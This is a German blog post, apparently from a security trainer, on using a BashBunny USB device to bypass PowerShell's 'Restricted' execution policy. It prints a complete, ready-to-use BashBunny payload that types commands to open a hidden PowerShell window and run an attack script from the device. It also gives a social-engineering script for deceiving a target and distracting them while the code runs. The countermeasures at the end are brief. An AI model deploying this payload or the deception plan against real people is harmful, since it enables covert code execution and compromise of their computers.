Moin da draußen,
heute möchte ich euch zeigen, wie man mit dem Bashbunny eine PowerShell-Scriptdatei startet – auch wenn die Scriptausführung auf dem Zielsystem das eigentlich verbietet. Ihr kennt den BashBunny nicht? Dann schaut euch zuerst diesen Beitrag von mir an: Hacking mit dem BashBunny
Die PowerShell hat eine Ausführungsrichtlinie. Wenn diese von einem Administrator auf “Restricted” gesetzt wurde, dann sollte der Computer keine Scripte mehr ausführen:
Nur ist das leider kein SicherheitsFeature. “Getippter” Text einer Scriptdatei ist weiterhin erlaubt. So könnte man also den Inhalt der Datei lesen und als Ausdruck ausführen:
Nur leider nimmt Invoke-Expression nur einen einzelnen String als Argument an. Get-Content liefert aber ein String-Array (eine Menge von Strings -> eine Zeile ist dabei ein solcher String):
Aber da kann die PowerShell doch helfen… 🙂 Wer schon immer einmal wissen wollte, wofür man Out-String benötigt:
Damit ist die Script-Ausführungsrichtlinie umgangen!
Im BashBunny kann man nun folgende Attacke implementieren: das Gerät gibt sich gegenüber dem Zielsystem als Tastatur und USB-Stick aus und startet eine Powershell.exe, die sich selbst versteckt. In dem noch immer verstecktem und aktivem PowerShell-Fenster wird dann die Scriptdatei vom “USB-Stick” gelesen und ausgeführt.
Ein Angriffsszenario könnte also so aussehen:
- Bitte die Zielperson um den Ausdruck einer Datei von deinem “USB-Stick”. Der Vorwand kann durch die Betonung deiner mißlichen Lage noch etwas verstärkt werden. Natürlich muss sich eine “SuperWichtigeDatei” auf dem Root des BashBunny befinden.
- Beim Anschließen des BashBunny wird dieser zunächst dem Betriebssystem mitteilen, dass er Tastatur und USB-Stick ist. Im entscheidenden Moment – wenn der Bashbunny die PowerShell sichtbar startet – lenkt ihr die Zielperson auf etwas anderes im Raum. Hier ist einfach Fantasie gefragt.
- Während das PowerShell-Fenster verschwindet und euer geheimes Script ausführt, bekommt ihr den achsowichtigen Ausdruck und den Bashbunny zurück. Mission Completed!
Das hier ist der dafür erforderliche Payload auf den BashBunny:
#!/bin/bash ################################################################################################### # Setup ################################################################################################### LED SETUP GET SWITCH_POSITION LED STAGE1 ATTACKMODE HID STORAGE ################################################################################################### # Stage A - HID - "quick start a local PS, start a second one with your reverse shell script" ################################################################################################### Q DELAY 3000 Q GUI r Q DELAY 100 Q STRING "powershell -w h" Q DELAY 100 Q ENTER Q DELAY 500 Q STRING "Invoke-Expression (get-content ((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\AttackScript.txt') | out-string)" Q DELAY 300 Q ENTER ################################################################################################### # FINISH ################################################################################################### sync; sleep 1; sync LED FINISH
Im gleichen Verzeichnis Payload platziert ihr einfach euer AtatckScript als txt. 🙂
Mmh, ich frage meine Teilnehmer in den Sicherheitskursen an dieser Stelle auch immer wieder: “Was gibt es hier für Gegenmaßnahmen?” Beliebte Antworten sind
- Softwarelösungen, die das Anschließen neuer Geräte mit einer Benutzerinteraktion verbinden (z.B. GData Keyboard Guard)
- Heißkleber für den Verschluss der USB-Ports (mein persönlicher Favorit – hehehe)
- gesundes Mißtrauen
Vielleicht habt ihr ja ne gute Lösung? Dann lasst von euch hören!
Stay tuned!
PS: Hier gibts den Payload als Download.